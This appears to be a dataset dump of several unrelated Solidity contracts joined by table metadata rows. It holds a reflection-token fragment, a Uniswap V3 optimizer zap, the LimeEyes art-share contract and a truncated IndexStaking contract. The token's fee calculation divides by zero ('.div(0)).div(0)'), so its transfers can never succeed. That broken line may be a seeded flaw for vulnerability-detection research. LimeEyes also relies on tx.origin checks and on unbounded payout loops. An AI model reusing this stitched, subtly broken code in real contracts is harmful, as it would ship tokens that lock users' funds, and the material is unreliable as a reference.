for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(0)).div(0);
uint256 tBurn = ((tAmount.mul(burnFee)).div(0)).div(0);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 255,097 | 10,343 |
f7501deccf74e4ad5ab70f077898e2e5a0adee7d5ff9af87dd2bc9ceef76d6dd
| 15,161 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x5be13d0ef77373401d82081b6ef0c844065bd7dd.sol
| 4,007 | 14,785 |
pragma solidity 0.7.6;
pragma abicoder v2;
interface IUniswapV3PoolActions {
function mint(address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data) external returns (uint256 amount0, uint256 amount1);
function collect(address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested) external returns (uint128 amount0, uint128 amount1);
function burn(int24 tickLower,
int24 tickUpper,
uint128 amount) external returns (uint256 amount0, uint256 amount1);
function swap(address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data) external returns (int256 amount0, int256 amount1);
}
interface IUniswapV3PoolDerivedState {
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
}
interface IUniswapV3PoolImmutables {
function token0() external view returns (address);
function token1() external view returns (address);
function tickSpacing() external view returns (int24);
}
interface IUniswapV3PoolState {
function slot0()
external
view
returns (uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked);
function positions(bytes32 key)
external
view
returns (uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1);
}
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions
{
}
interface IPopsicleV3Optimizer {
function token0() external view returns (address);
function token1() external view returns (address);
function tickSpacing() external view returns (int24);
function pool() external view returns (IUniswapV3Pool);
function tickLower() external view returns (int24);
function tickUpper() external view returns (int24);
function deposit(uint256 amount0Desired,
uint256 amount1Desired,
address to)
external
returns (uint256 shares,
uint256 amount0,
uint256 amount1);
function withdraw(uint256 shares, address to) external returns (uint256 amount0, uint256 amount1);
function rerange() external;
function rebalance() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IChi is IERC20 {
function mint(uint256 value) external;
function free(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
interface IGasDiscountExtension {
function calculateGas(uint256 gasUsed, uint256 flags, uint256 calldataLength) external view returns (IChi, uint256);
}
interface IAggregationExecutor is IGasDiscountExtension {
function callBytes(bytes calldata data) external payable; // 0xd9c45357
}
library TransferHelper {
function safeTransferFrom(address token,
address from,
address to,
uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
function safeTransfer(address token,
address to,
uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success,) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
interface IWETH9 is IERC20 {
function deposit() external payable;
}
interface IRouter {
struct SwapDescription {
IERC20 srcToken;
IERC20 dstToken;
address srcReceiver;
address dstReceiver;
uint256 amount;
uint256 minReturnAmount;
uint256 flags;
bytes permit;
}
function swap(IAggregationExecutor caller, SwapDescription calldata desc, bytes calldata data) external payable returns (uint256 returnAmount, uint256 gasLeft);
function unoswap(IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata) external payable returns(uint256 returnAmount);
}
contract OptimizerZap {
IRouter constant router = IRouter(0x11111112542D85B3EF69AE05771c2dCCff4fAa26);
address constant eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public immutable DAO;
event ExtraTokens(uint256 extraAmount0,
uint256 extraAmount1);
struct Cache {
uint256 amount0;
uint256 amount1;
uint256 return0Amount;
uint256 return1Amount;
}
struct TokenData {
bool IsUno;
IAggregationExecutor caller;
IRouter.SwapDescription desc;
bytes data;
bytes32[] pools;
}
constructor(address _DAO) {
DAO = _DAO;
}
function DepositInEth(address optimizer, address to, TokenData calldata tokenData) external payable {
uint value = msg.value;
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
IWETH9(weth).deposit{value: value}();
IWETH9(weth).approve(optimizer, value);
require(token0 == weth || token1 == weth, "BO");
if (token0 == weth) {
require(token1 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token1, msg.sender, address(this), tokenData.desc.amount);
IERC20(token1).approve(optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) = IPopsicleV3Optimizer(optimizer).deposit(value, tokenData.desc.amount, to);
require(value >= amount0, "UA0");
require(tokenData.desc.amount >= amount1, "UA1");
_removeAllowance(token1, optimizer);
emit ExtraTokens(value-amount0, tokenData.desc.amount-amount1);
} else {
require(token0 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token0, msg.sender, address(this), tokenData.desc.amount);
IERC20(token0).approve(optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) =IPopsicleV3Optimizer(optimizer).deposit(tokenData.desc.amount, value, to);
require(tokenData.desc.amount >= amount0, "UA0");
require(value >= amount1, "UA1");
_removeAllowance(token0, optimizer);
emit ExtraTokens(tokenData.desc.amount-amount0, value-amount1);
}
_removeAllowance(weth, optimizer);
}
function ZapIn(address tokenIn, uint amount, address optimizer, address to, TokenData calldata token0Data, TokenData calldata token1Data) external payable {
require(optimizer != address(0));
require(to != address(0));
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
require(tokenIn == address(token0Data.desc.srcToken), "NAT0");
require(tokenIn == address(token1Data.desc.srcToken), "NAT1");
require(token0 == address(token0Data.desc.dstToken), "IT0");
require(token1 == address(token1Data.desc.dstToken), "IT1");
require(token0Data.desc.amount + token1Data.desc.amount <= amount, "IA");
Cache memory cache;
if (tokenIn == eth || tokenIn == address(0)) {
require(amount <= msg.value, "BA");
if (token0 == weth) {
IWETH9(weth).deposit{value: token0Data.desc.amount}();
IWETH9(weth).approve(optimizer, token0Data.desc.amount);
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount,) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(token0Data.desc.amount, cache.return1Amount, to);
require(token0Data.desc.amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(token0Data.desc.amount-cache.amount0, cache.return1Amount-cache.amount1);
} else if (token1 == weth) {
IWETH9(weth).deposit{value: token1Data.desc.amount}();
IWETH9(weth).approve(optimizer, token1Data.desc.amount);
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount,) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
IERC20(token0).approve(optimizer, cache.return0Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, token1Data.desc.amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(token1Data.desc.amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, token1Data.desc.amount-cache.amount1);
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount,) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount,) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
IERC20(token0).approve(optimizer, cache.return0Amount);
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, cache.return1Amount-cache.amount1);
}
_removeAllowance(token0, optimizer);
_removeAllowance(token1, optimizer);
return;
} else {
TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amount);
IERC20(tokenIn).approve(address(router), amount);
if (tokenIn == token0) {
cache.return0Amount = token0Data.desc.amount;
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount,) = router.swap(token0Data.caller, token0Data.desc, token0Data.data);
}
}
if (tokenIn == token1) {
cache.return1Amount = token1Data.desc.amount;
} else {
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount,) = router.swap(token1Data.caller, token1Data.desc, token1Data.data);
}
}
IERC20(token0).approve(optimizer, cache.return0Amount);
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, cache.return1Amount-cache.amount1);
_removeAllowance(tokenIn, address(router));
_removeAllowance(token0, optimizer);
_removeAllowance(token1, optimizer);
return;
}
}
function _removeAllowance(address token, address spender) internal {
if (IERC20(token).allowance(address(this), spender) > 0){
IERC20(token).approve(spender, 0);
}
}
function recoverLostToken(address _token) external returns (bool) {
TransferHelper.safeTransfer(_token, DAO, IERC20(_token).balanceOf(address(this)));
return true;
}
function refundETH() external returns (bool) {
if (address(this).balance > 0) TransferHelper.safeTransferETH(DAO, address(this).balance);
return true;
}
}
| 275,291 | 10,344 |
6fbb9d69b581aac66e07ffcc10a864a3674ce256b46774b6ff2a7f1de0833eb0
| 14,145 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1ff54baa4cfca0826e125e6e1e312a53748c2637.sol
| 3,544 | 12,116 |
pragma solidity ^0.4.18;
//
// LimeEyes
// Decentralized art on the Ethereum blockchain!
// (https://limeeyes.com/)
// Welcome to LimeEyes!
//
// This smart contract allows users to purchase shares of any artwork that's
// been added to the system and it will pay dividends to all shareholders
// upon the purchasing of new shares! It's special in the way it works because
// the shares can only be bought in certain amounts and the price of those
// shares is dependant on how many other shares there are already. Each
// artwork starts with 1 share available for purchase and upon each sale,
// the number of shares for purchase will increase by one (1 -> 2 -> 3...),
// each artwork also has an owner and they will always get the dividends from
// the number of shares up for purchase, for example;
// The price of the shares also follows a special formula in order to maintain
// stability over time, it uses the base price of an artwork (set by the dev
// upon the creation of the artwork) and the total number of shares purchased
// of the artwork. From here you simply treat the number of shares as a percentage
// and add that much on top of your base price, for example;
// The special thing about this is because the shares are intrinsicly linked with
// the price, the dividends from your shares will trend to a constant value instead
// of continually decreasing over time. Because our sequence of shares is a triangular
// number (1 + 2 + 3...) the steady state of any purchased shares will equal the number
// of shares owned (as a percentage) * the artworks base price, for example;
//
// If you're an artist and are interested in listing some of your works on the site
// and in this contract, please visit the website (https://limeeyes.com/) and contact
// the main developer via the links on the site!
//
contract LimeEyes {
//////////////////////////////////////////////////////////////////////
// Variables, Storage and Events
address private _dev;
struct Artwork {
string _title;
address _owner;
bool _visible;
uint256 _basePrice;
uint256 _purchases;
address[] _shareholders;
mapping (address => bool) _hasShares;
mapping (address => uint256) _shares;
}
Artwork[] private _artworks;
event ArtworkCreated(uint256 artworkId,
string title,
address owner,
uint256 basePrice);
event ArtworkSharesPurchased(uint256 artworkId,
string title,
address buyer,
uint256 sharesBought);
//////////////////////////////////////////////////////////////////////
// Constructor and Admin Functions
function LimeEyes() public {
_dev = msg.sender;
}
modifier onlyDev() {
require(msg.sender == _dev);
_;
}
// This function will create a new artwork within the contract,
// the title is changeable later by the dev but the owner and
// basePrice cannot be changed once it's been created.
// The owner of the artwork will start off with 1 share and any
// other addresses may now purchase shares for it.
function createArtwork(string title, address owner, uint256 basePrice) public onlyDev {
require(basePrice != 0);
_artworks.push(Artwork({
_title: title,
_owner: owner,
_visible: true,
_basePrice: basePrice,
_purchases: 0,
_shareholders: new address[](0)
}));
uint256 artworkId = _artworks.length - 1;
Artwork storage newArtwork = _artworks[artworkId];
newArtwork._hasShares[owner] = true;
newArtwork._shareholders.push(owner);
newArtwork._shares[owner] = 1;
ArtworkCreated(artworkId, title, owner, basePrice);
}
// Simple renaming function for the artworks, it is good to
// keep in mind that when the website syncs with the blockchain,
// any titles over 32 characters will be clipped.
function renameArtwork(uint256 artworkId, string newTitle) public onlyDev {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
artwork._title = newTitle;
}
// This function is only for the website and whether or not
// it displays a certain artwork, any user may still buy shares
// for an invisible artwork although it's not really art unless
// you can view it.
// This is exclusively reserved for copyright cases should any
// artworks be flagged as such.
function toggleArtworkVisibility(uint256 artworkId) public onlyDev {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
artwork._visible = !artwork._visible;
}
// The two withdrawal functions below are here so that the dev
// can access the dividends of the contract if it owns any
// artworks. As all ETH is transferred straight away upon the
// purchasing of shares, the only ETH left in the contract will
// be from dividends or the rounding errors (although the error
// will only be a few wei each transaction) due to the nature
// of dividing and working with integers.
function withdrawAmount(uint256 amount, address toAddress) public onlyDev {
require(amount != 0);
require(amount <= this.balance);
toAddress.transfer(amount);
}
// Used to empty the contracts balance to an address.
function withdrawAll(address toAddress) public onlyDev {
toAddress.transfer(this.balance);
}
//////////////////////////////////////////////////////////////////////
// Main Artwork Share Purchasing Function
// This is the main point of interaction in this contract,
// it will allow a user to purchase shares in an artwork
// and hence with their investment, they pay dividends to
// all the current shareholders and then the user themselves
// will become a shareholder and earn dividends on any future
// purchases of shares.
// See the getArtwork() function for more information on pricing
// and how shares work.
function purchaseSharesOfArtwork(uint256 artworkId) public payable {
// This makes sure only people, and not contracts, can buy shares.
require(msg.sender == tx.origin);
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
// The artwork owner is not allowed to purchase shares of their
// own art, instead they will earn dividends automatically.
require(msg.sender != artwork._owner);
uint256 totalShares;
uint256[3] memory prices;
(, , , prices, totalShares, ,) = getArtwork(artworkId);
uint256 currentPrice = prices[1];
// Make sure the buyer sent enough ETH
require(msg.value >= currentPrice);
// Send back the excess if there's any.
uint256 purchaseExcess = msg.value - currentPrice;
if (purchaseExcess > 0)
msg.sender.transfer(purchaseExcess);
// Now pay all the shareholders accordingly.
// (this will potentially cost a lot of gas)
for (uint256 i = 0; i < artwork._shareholders.length; i++) {
address shareholder = artwork._shareholders[i];
if (shareholder != address(this)) { // transfer ETH if the shareholder isn't this contract
shareholder.transfer((currentPrice * artwork._shares[shareholder]) / totalShares);
}
}
// Add the buyer to the registry.
if (!artwork._hasShares[msg.sender]) {
artwork._hasShares[msg.sender] = true;
artwork._shareholders.push(msg.sender);
}
artwork._purchases++; // track our purchase
artwork._shares[msg.sender] += artwork._purchases; // add the shares to the sender
artwork._shares[artwork._owner] = artwork._purchases + 1; // set the owners next shares
ArtworkSharesPurchased(artworkId, artwork._title, msg.sender, artwork._purchases);
}
//////////////////////////////////////////////////////////////////////
// Getters
function _exists(uint256 artworkId) private view returns (bool) {
return artworkId < _artworks.length;
}
function getArtwork(uint256 artworkId) public view returns (string artworkTitle, address ownerAddress, bool isVisible, uint256[3] artworkPrices, uint256 artworkShares, uint256 artworkPurchases, uint256 artworkShareholders) {
require(_exists(artworkId));
Artwork memory artwork = _artworks[artworkId];
// As at each step we are simply increasing the number of shares given by 1, the resulting
// total from adding up consecutive numbers from 1 is the same as the triangular number
// series (1 + 2 + 3 + ...). the formula for finding the nth triangular number is as follows;
// Tn = (n * (n + 1)) / 2
// For example the 10th triangular number is (10 * 11) / 2 = 55
// In our case however, the owner of the artwork always inherits the shares being bought
// before transferring them to the buyer but the owner cannot buy shares of their own artwork.
// This means that when calculating how many shares, we need to add 1 to the total purchases
// in order to accommodate for the owner. from here we just need to adjust the triangular
// number formula slightly to get;
// Shares After n Purchases = ((n + 1) * (n + 2)) / 2
// Let's say the art is being purchased for a second time which means the purchaser is
// buying 3 shares and therefore the owner will get 3 shares worth of dividends from the
// overall purchase value. As it's the 2nd purchase, there are (3 * 4) / 2 = 6 shares total
// according to our formula which is as expected.
uint256 totalShares = ((artwork._purchases + 1) * (artwork._purchases + 2)) / 2;
// Set up our prices array;
// 0: base price
// 1: current price
// 2: next price
uint256[3] memory prices;
prices[0] = artwork._basePrice;
// The current price is also directly related the total number of shares, it simply treats
// the total number of shares as a percentage and adds that much on top of the base price.
// For example if the base price was 0.01 ETH and there were 250 shares total it would mean
// that the price would gain 250% of it's value = 0.035 ETH (100% + 250%);
// Current Price = (Base Price * (100 + Total Shares)) / 100
prices[1] = (prices[0] * (100 + totalShares)) / 100;
// The next price would just be the same as the current price but we have a few extra shares.
// If there are 0 purchases then you are buying 1 share (purchases + 1) so the next buyer would
// be purchasing 2 shares (purchases + 2) so therefore;
prices[2] = (prices[0] * (100 + totalShares + (artwork._purchases + 2))) / 100;
return (artwork._title,
artwork._owner,
artwork._visible,
prices,
totalShares,
artwork._purchases,
artwork._shareholders.length);
}
function getAllShareholdersOfArtwork(uint256 artworkId) public view returns (address[] shareholders, uint256[] shares) {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
uint256[] memory shareholderShares = new uint256[](artwork._shareholders.length);
for (uint256 i = 0; i < artwork._shareholders.length; i++) {
address shareholder = artwork._shareholders[i];
shareholderShares[i] = artwork._shares[shareholder];
}
return (artwork._shareholders,
shareholderShares);
}
function getAllArtworks() public view returns (bytes32[] titles, address[] owners, bool[] isVisible, uint256[3][] artworkPrices, uint256[] artworkShares, uint256[] artworkPurchases, uint256[] artworkShareholders) {
bytes32[] memory allTitles = new bytes32[](_artworks.length);
address[] memory allOwners = new address[](_artworks.length);
bool[] memory allIsVisible = new bool[](_artworks.length);
uint256[3][] memory allPrices = new uint256[3][](_artworks.length);
uint256[] memory allShares = new uint256[](_artworks.length);
uint256[] memory allPurchases = new uint256[](_artworks.length);
uint256[] memory allShareholders = new uint256[](_artworks.length);
for (uint256 i = 0; i < _artworks.length; i++) {
string memory tmpTitle;
(tmpTitle, allOwners[i], allIsVisible[i], allPrices[i], allShares[i], allPurchases[i], allShareholders[i]) = getArtwork(i);
allTitles[i] = stringToBytes32(tmpTitle);
}
return (allTitles,
allOwners,
allIsVisible,
allPrices,
allShares,
allPurchases,
allShareholders);
}
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tmpEmptyStringTest = bytes(source);
if (tmpEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
//////////////////////////////////////////////////////////////////////
}
| 216,363 | 10,345 |
6931376caa4395b89b3731d4564453c90bf3d25fc5cf251112f45ae8549da0b7
| 27,373 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5e/5E8cdb4f29F8F3047940e15c940A271312430A23_IndexStaking.sol
| 4,197 | 16,920 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
